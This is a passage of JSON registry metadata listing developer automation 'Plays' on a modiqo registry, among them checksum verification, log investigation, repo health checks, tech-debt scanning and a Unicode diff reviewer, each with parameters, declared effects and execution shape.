otherwise)","example":"pytorch"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4abf976eae889ae8d23845d32d5130274f0c00a0792259b87bb037f13bf42c4b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/fc-dev/release-checksum-integrity@0.0.2","reference":"fc-dev/release-checksum-integrity@0.0.2","uri":"https://play.modiqo.ai/fc-dev/release-checksum-integrity@0.0.2","manifest_uri":"https://play.modiqo.ai/fc-dev/release-checksum-integrity@0.0.2","name":"release-checksum-integrity","title":"release-checksum-integrity","description":"Deterministically compares GitHub release assets with checksum manifests and verifies accessible asset bytes.","owner":{"kind":"user","slug":"fc-dev"},"registry_organization":"fc-dev","tags":["typescript","github"],"primary_domain":"domain-uncategorized","author":"Codeit69420","version":"0.0.2","published_at":"2026-09-03T20:26:57.266201+00:00","visibility":"public","quality_score":0.875,"size_bytes":9595,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["verify_integrity"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"GitHub owner/repository, for example curl/curl"},{"name":"release","type":"string","required":true,"description":"Release tag name or identifier"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1ce0c611c92c910f72ce685710d6f1252c94ffcc077f101ceab7a38a56fd738a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/ajayrathod04/flagship-play-gap-mapper@0.1.1","reference":"ajayrathod04/flagship-play-gap-mapper@0.1.1","uri":"https://play.modiqo.ai/ajayrathod04/flagship-play-gap-mapper@0.1.1","manifest_uri":"https://play.modiqo.ai/ajayrathod04/flagship-play-gap-mapper@0.1.1","name":"flagship-play-gap-mapper","title":"flagship-play-gap-mapper","description":"Reads a local hackathon strategy, compares it with public Rote Plays, and recommends the highest-leverage differentiated Play to build first.","owner":{"kind":"user","slug":"ajayrathod04"},"registry_organization":"ajayrathod04","tags":["hackathon","strategy","play-discovery","recommendation"],"primary_domain":"domain-uncategorized","author":"Hackathon team","version":"0.1.1","published_at":"2026-09-03T18:21:10.603038+00:00","visibility":"public","quality_score":0.875,"size_bytes":8764,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["analyze_strategy"]},"parameters":[{"name":"project_root","type":"string","required":true,"description":"Absolute project directory that bounds strategy-file access."},{"name":"strategy_path","type":"string","required":true,"description":"Path to a Markdown or text strategy file beneath project_root."},{"name":"constraints","type":"string","required":false,"default":"","description":"Optional timebox, audience, or demo constraints."},{"name":"search_terms","type":"string","required":false,"default":"","description":"Optional comma-separated public-registry search terms."},{"name":"max_results","type":"integer","required":false,"default":10,"description":"Maximum public Plays inspected per search term (1-20)."},{"name":"registry_results_path","type":"string","required":false,"default":"","description":"Optional fixture JSON for an offline, deterministic run; skips public-registry lookup."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:776a11cfd4d26a523e07bce7428a1fa2d93f2618960d624f3e31306993bb2e08","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/harshitborana75/namaste@0.0.3","reference":"harshitborana75/namaste@0.0.3","uri":"https://play.modiqo.ai/harshitborana75/namaste@0.0.3","manifest_uri":"https://play.modiqo.ai/harshitborana75/namaste@0.0.3","name":"namaste","title":"namaste","description":"Namaste (v0.0.2): Global Tech News Briefing & Radar. Features clean zero-markdown terminal tree rendering, ANSI box banners, domain filters (all|ai|devops|security|web|startups), archetype filters (briefing|breakthroughs|incidents|launches|deep-dives), interactive link shortcuts (read=1), and compact MOTD mode.","owner":{"kind":"user","slug":"harshitborana75"},"registry_organization":"harshitborana75","tags":["typescript","tech-news","radar","security","ai","devops","web","startups","hacker-news","cve","github-trending"],"primary_domain":"domain-uncategorized","author":"harshitborana75","version":"0.0.3","published_at":"2026-09-03T17:12:11.233071+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5532,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["fetch_radar"]},"parameters":[{"name":"domain","type":"string","required":false,"default":"all","description":"Domain filter (all | ai | devops | security | web | startups)"},{"name":"kind","type":"string","required":false,"default":"briefing","description":"News archetype filter (briefing | breakthroughs | incidents | launches | deep-dives)"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format (terminal | markdown | json)"},{"name":"compact","type":"string","required":false,"default":"false","description":"Compact 3-line MOTD snapshot (true | false)"},{"name":"read","type":"string","required":false,"description":"Story index to launch URL in browser e.g. '1' or '2'"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0606ba66fae0a044a873bb666041d3c5545e858148684d6ba0e6c95b414d125a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"deno","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/viswesh/detective@0.1.0","reference":"viswesh/detective@0.1.0","uri":"https://play.modiqo.ai/viswesh/detective@0.1.0","manifest_uri":"https://play.modiqo.ai/viswesh/detective@0.1.0","name":"detective","title":"detective","description":"Log Investigation CLI. Pipe logs from any command (kubectl logs, aws logs, docker, journalctl, cat app.log) or pass a file path to immediately investigate what happened, why it happened, the evidence, and recommended next actions. Zero configuration, zero external dependencies; needs only python3 and sh.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["typescript","logs","investigation","observability","incident-response","debugging"],"primary_domain":"domain-uncategorized","author":"sigireddyviswesh","version":"0.1.0","published_at":"2026-09-03T16:29:42.609182+00:00","visibility":"public","quality_score":1,"size_bytes":534112,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["investigate_step"]},"parameters":[{"name":"logs","type":"string","required":false,"default":"","description":"Raw logs text string to investigate","example":"2026-09-03T14:32:00Z [error] Connection pool exhausted"},{"name":"file","type":"string","required":false,"default":"","description":"Optional file path to read logs from","example":"/var/log/app.log"},{"name":"out_report","type":"string","required":false,"default":"./detective-report.json","description":"Path where the structured investigation report JSON will be written","example":"./detective-report.json"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c330767b1aa6739a34da516af2f9a8719a6e4e7214e723fd83b0655f526f59bf","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/kuntal-ghosh/math-formula-copilot@0.0.2","reference":"kuntal-ghosh/math-formula-copilot@0.0.2","uri":"https://play.modiqo.ai/kuntal-ghosh/math-formula-copilot@0.0.2","manifest_uri":"https://play.modiqo.ai/kuntal-ghosh/math-formula-copilot@0.0.2","name":"math-formula-copilot","title":"math-formula-copilot","description":"Solves a fresh mathematics problem with formula selection, guarded calculations, units, and clear steps.","owner":{"kind":"user","slug":"kuntal-ghosh"},"registry_organization":"kuntal-ghosh","tags":["mathematics","formula","typescript"],"primary_domain":"domain-uncategorized","author":"Mithu2007ghosh","version":"0.0.2","published_at":"2026-09-03T14:18:03.890386+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":19632,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["python3"]},"parameters":[{"name":"problem","type":"string","required":true,"description":"Play parameter"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:cc16374e2642b26aa992d2ad85fef297500dc8a4662b533857d9a9ce2ba87995","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/mohitjeswani01/job-application-tracker@0.1.1","reference":"mohitjeswani01/job-application-tracker@0.1.1","uri":"https://play.modiqo.ai/mohitjeswani01/job-application-tracker@0.1.1","manifest_uri":"https://play.modiqo.ai/mohitjeswani01/job-application-tracker@0.1.1","name":"job-application-tracker","title":"job-application-tracker","description":"Scans Gmail inbox for job application emails, classifies them into categories (interview, offer, assessment, rejected, applied, needs_action), logs results locally, and sends Telegram alerts for action items.","owner":{"kind":"user","slug":"mohitjeswani01"},"registry_organization":"mohitjeswani01","tags":[],"primary_domain":"domain-uncategorized","author":"mohitjeswani01","version":"0.1.1","published_at":"2026-09-03T14:02:10.168806+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":35929,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d890f960bf9375e5d6bf14a193ff6c7685bf6a6e502434099071284e0e80bb7e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/srinjoy356/repo-health-check@0.1.0","reference":"srinjoy356/repo-health-check@0.1.0","uri":"https://play.modiqo.ai/srinjoy356/repo-health-check@0.1.0","manifest_uri":"https://play.modiqo.ai/srinjoy356/repo-health-check@0.1.0","name":"repo-health-check","title":"repo-health-check","description":"Runs a parallel health check on a repository to find failing workflows, open bugs, and stale PRs.","owner":{"kind":"user","slug":"srinjoy356"},"registry_organization":"srinjoy356","tags":[],"primary_domain":"domain-uncategorized","author":"srinjoy356","version":"0.1.0","published_at":"2026-09-03T09:51:30.11747+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":2120,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["aggregate","auth_github","fetch_open_prs","fetch_open_bugs","fetch_failing_workflows"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"The owner of the repository (e.g. modiqo)"},{"name":"repo","type":"string","required":true,"description":"The name of the repository (e.g. rote)"}],"execution":{"adapters":[{"id":"modiqo/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:434fe97a5f9c3c3fce46554704568d8629de1f7e917f642f484e8cfe8313cd9b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":3,"shell":1,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[{"adapter":"github","steps":4,"methods":["actions/list-workflow-runs-for-repo","search/issues-and-pull-requests"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"modiqo/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/mishraaditya/repo-todo-debt@0.1.0","reference":"mishraaditya/repo-todo-debt@0.1.0","uri":"https://play.modiqo.ai/mishraaditya/repo-todo-debt@0.1.0","manifest_uri":"https://play.modiqo.ai/mishraaditya/repo-todo-debt@0.1.0","name":"repo-todo-debt","title":"repo-todo-debt","description":"Scans a local source tree for tech-debt markers (TODO, FIXME, HACK by default), skips vendored and binary files, and reports total counts per marker plus the files carrying the most debt. Read-only, offline, stdlib-Python only; a missing root fails loudly instead of reporting a clean repo.","owner":{"kind":"user","slug":"mishraaditya"},"registry_organization":"mishraaditya","tags":["domain-engineering","job-tech-debt-audit","audience-developers","effect-read-only"],"primary_domain":"domain-engineering","author":"mishraaditya","version":"0.1.0","published_at":"2026-09-03T08:11:51.213343+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3918,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["scan"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to the directory to scan","example":"/Users/me/projects/my-app"},{"name":"markers","type":"string","required":false,"default":"TODO,FIXME,HACK","description":"Comma-separated debt markers to count (case-sensitive substring match)","example":"TODO,XXX"},{"name":"limit","type":"string","required":false,"default":"15","description":"Maximum number of hottest files to list in the report","example":"10"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ca733cc9fa0233fc97fd5f80374328efec00daf0f8d435862d57470a36b86cc1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/adityasingh/migration-blast-radius@0.1.0","reference":"adityasingh/migration-blast-radius@0.1.0","uri":"https://play.modiqo.ai/adityasingh/migration-blast-radius@0.1.0","manifest_uri":"https://play.modiqo.ai/adityasingh/migration-blast-radius@0.1.0","name":"migration-blast-radius","title":"migration-blast-radius","description":"Read-only migration blast-radius analysis. Given a repository, migration description, and target version, discovers Node/runtime manifests, maps API surface and dependency usage, identifies Rust equivalents where applicable, assesses config/build/test impact, and produces a risk-ranked ordered migration plan. Never modifies files. Supports nodejs-to-rust and generic dependency migrations.","owner":{"kind":"user","slug":"adityasingh"},"registry_organization":"adityasingh","tags":["domain-migration-analysis","job-blast-radius","audience-developers","effect-read-only"],"primary_domain":"domain-migration-analysis","author":"adityasingh","version":"0.1.0","published_at":"2026-09-02T19:41:03.422524+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8264,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":7,"names":["scan_tests","validate_inputs","scan_api_surface","discover_manifests","scan_config_deploy","scan_runtime_usage","map_rust_equivalents"]},"parameters":[{"name":"repository","type":"string","required":true,"description":"Path to the repository root to analyze"},{"name":"migration","type":"string","required":true,"description":"Migration identifier or description (e.g. nodejs-to-rust, express, mongoose)"},{"name":"current_version","type":"string","required":false,"description":"Current runtime or dependency version if known (auto-detected from manifests when omitted)"},{"name":"target_version","type":"string","required":true,"description":"Target runtime or dependency version (e.g. rust, 5.x)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6bbefaf8ad992361e49a5ab209c6680c9742a32761f653b1ee1aff768ee22c58","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":5,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/event-brief-from-public-urls@0.1.1","reference":"bhanu82/event-brief-from-public-urls@0.1.1","uri":"https://play.modiqo.ai/bhanu82/event-brief-from-public-urls@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/event-brief-from-public-urls@0.1.1","name":"event-brief-from-public-urls","title":"event-brief-from-public-urls","description":"Turn any hackathon or event link into a clear 1-page summary. Tells you the exact deadline, timezone, prizes, submission rules, setup commands, and official links. Catches and highlights when rules on different pages disagree with each other so you never miss a requirement. 100% read-only, zero setup, zero API keys, needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-event-brief","audience-developers","event","hackathon","brief","luma"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-02T19:03:49.515949+00:00","visibility":"public","quality_score":1,"size_bytes":24760,"license":"MIT","stats":{"downloads":3,"installs":0},"steps":{"count":2,"names":["probe_event_page","render_event_brief"]},"parameters":[{"name":"event_url","type":"string","required":true,"default":"https://luma.com/rotehack","description":"Public event page URL, e.g. https://luma.com/rotehack"},{"name":"follow_links","type":"boolean","required":false,"default":"true","description":"Follow linked official guide/docs pages and join their claims"},{"name":"max_linked_pages","type":"integer","required":false,"default":"5","description":"Maximum number of linked pages to fetch and join"},{"name":"extra_urls","type":"string","required":false,"default":"","description":"Comma-separated public URLs to join with the event page; disagreement remains explicit","example":"https://example.com/rules,https://example.com/announcement"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8ba2d21091167c9e66d063e9c7f4042bad3a669fcbbf6b4631b26a4ef802638f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cheersaman1/training-health-check@1.0.0","reference":"cheersaman1/training-health-check@1.0.0","uri":"https://play.modiqo.ai/cheersaman1/training-health-check@1.0.0","manifest_uri":"https://play.modiqo.ai/cheersaman1/training-health-check@1.0.0","name":"training-health-check","title":"training-health-check","description":"Run a deterministic training health checker against plain-text and W&B offline logs and compare their verdicts.","owner":{"kind":"user","slug":"cheersaman1"},"registry_organization":"cheersaman1","tags":[],"primary_domain":"domain-uncategorized","author":"Cheersaman1","version":"1.0.0","published_at":"2026-09-02T18:12:18.010083+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":2350,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":3,"names":["plain_check","wandb_check","compare_verdicts"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:288b2930de71f2c72870e9adf123b68e6e7353799fb16600ffee1ad06a2d3b87","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"diff","kind":"tool","source":"inferred","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rwnalds/what-should-i-automate@0.2.1","reference":"rwnalds/what-should-i-automate@0.2.1","uri":"https://play.modiqo.ai/rwnalds/what-should-i-automate@0.2.1","manifest_uri":"https://play.modiqo.ai/rwnalds/what-should-i-automate@0.2.1","name":"what-should-i-automate","title":"what-should-i-automate","description":"Most of what you repeat is not worth automating, and nothing tells you which part is. A one-day burst of 19 identical prompts is a loop, not a habit; a request you make twice a week for three months is the thing worth keeping. This reads your local Claude Code and Codex transcripts, drops harness-injected noise, clusters near-duplicate requests, attributes the real token cost of each cluster and prices it against the live LiteLLM rate table, then returns a ranked CRYSTALLIZE / NOT YET / DO NOT with the reason for each. It refuses to recommend a burst no matter how many times that burst ran. Honest about its limits: the Play-shape test counts action verbs and enumerated steps as a proxy for 'this is a procedure', so it measures shape rather than meaning; recurrence is activity on two or more separate days, which does not separate a weekly habit from two adjacent days; and the spend it reports is what you already paid, not what crystallizing would save. Reads only local files and one public rate table, writes only inside its own run workspace, carries no credentials.","owner":{"kind":"user","slug":"rwnalds"},"registry_organization":"rwnalds","tags":[],"primary_domain":"domain-uncategorized","author":"rwnalds","version":"0.2.1","published_at":"2026-09-02T17:21:02.278374+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":12711,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":5,"names":["extract_work","probe_stores","fetch_pricing","score_verdicts","cluster_repeats"]},"parameters":[{"name":"min_occurrences","type":"string","required":false,"default":"3","description":"How many times work must recur before it counts as repeated. Raise it to cut noise."},{"name":"similarity_threshold","type":"string","required":false,"default":"0.6","description":"Jaccard similarity (0-1) for treating two requests as the same work. Higher is stricter."},{"name":"top","type":"string","required":false,"default":"10","description":"How many ranked verdicts to return."},{"name":"eur_per_usd","type":"string","required":false,"default":"0.92","description":"Currency assumption applied to USD rates. Stated in the output, never applied silently."},{"name":"max_files_per_store","type":"string","required":false,"default":"100000","description":"Upper bound on transcript files read per harness."},{"name":"out_dir","type":"string","required":false,"default":".repeat-offenders","description":"Directory for intermediate and final analysis artifacts, relative to where you run the play."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0043dec7b8c1f6b9b0f5dfc50e3f34a97f26a18ec014425bab50a6cde4a771f6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":2,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/karan68/invisible-diff@0.1.0","reference":"karan68/invisible-diff@0.1.0","uri":"https://play.modiqo.ai/karan68/invisible-diff@0.1.0","manifest_uri":"https://play.modiqo.ai/karan68/invisible-diff@0.1.0","name":"invisible-diff","title":"invisible-diff","description":"Reviews only added Git source lines for directional controls, invisible identifier characters, normalization collisions, and high-confidence mixed-script lookalikes. Returns CLEAN, REVIEW, BLOCK, or INCOMPLETE with escaped path-line evidence. Run with no arguments for a deterministic demo.","owner":{"kind":"user","slug":"karan68"},"registry_organization":"karan68","tags":["domain-security","engineering-workflows","job-unicode-diff-review","tool-git","effect-read-only","audience-developers"],"primary_domain":"domain-security","author":"Karan Yadav","version":"0.1.0","published_at":"2026-09-02T17:13:26.145576+00:00","visibility":"public","quality_score":0.875,"size_bytes":20302,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":8,"names":["finalize","adjudicate","prepare_scan","scan_controls","verify_source","collect_changes","scan_confusables","scan_normalization"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"demo uses bundled evidence; staged scans the index; working-tree includes tracked and untracked changes; range compares two local refs","values":["demo","staged","working-tree","range"]},{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute local Git repository path; required outside demo mode"},{"name":"base_ref","type":"string","required":false,"default":"","description":"Local base commit or ref; required only in range mode"},{"name":"head_ref","type":"string","required":false,"default":"HEAD","description":"Local head commit or ref resolved before scanning"},{"name":"max_findings","type":"integer","required":false,"default":25,"description":"Maximum findings rendered and returned, from 1 through 50; verdict counts use the full set"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6b9df007b41042323fab7a102930cc7f57658e289a73e0705b361f03c86b4d8e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":0,"shell":8,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":6,"width":3,"fan_out":0,"for_each_steps":0,"complexity":8,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":8}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/viswesh/probe@0.1.5","reference":"viswesh/probe@0.1.5","uri":"https://play.modiqo.ai/viswesh/probe@0.1.5","manifest_uri":"https://play.modiqo.ai/viswesh/probe@0.1.5","name":"probe","title":"probe","description":"Postman in your CLI. Takes any URL or curl command, profiles latency (p50/p95/p99), auth/JWTs, and payload contracts, and generates an OpenAPI 3.1 spec ready for rote adapter create. Zero config, needs only python3 and curl.","owner":{"kind":"user","slug":"viswesh"},"registry_organization":"viswesh","tags":["typescript","api","profiling","openapi","testing","gateway","authentication","stress-testing"],"primary_domain":"domain-uncategorized","author":"sigireddyviswesh","version":"0.1.5","published_at":"2026-09-02T15:05:15.034702+00:00","visibility":"public","quality_score":1,"size_bytes":632740,"license":null,"stats":{"downloads":3,"installs":0},"steps":{"count":1,"names":["profile_step"]},"parameters":[{"name":"url","type":"string","required":false,"default":"https://jsonplaceholder.typicode.com/posts","description":"Target API endpoint URL to profile","example":"https://jsonplaceholder.typicode.com/posts"},{"name":"method","type":"string","required":false,"default":"GET","description":"HTTP method (GET, POST, PUT, DELETE, PATCH)","example":"GET"},{"name":"headers","type":"string","required":false,"default":"","description":"Custom headers separated by pipe, e.g. Authorization: Bearer token|X-Api-Key: xyz","example":"Authorization: Bearer secret"},{"name":"data","type":"string","required":false,"default":"","description":"Optional JSON payload for POST/PUT/PATCH methods","example":"{\"query\": 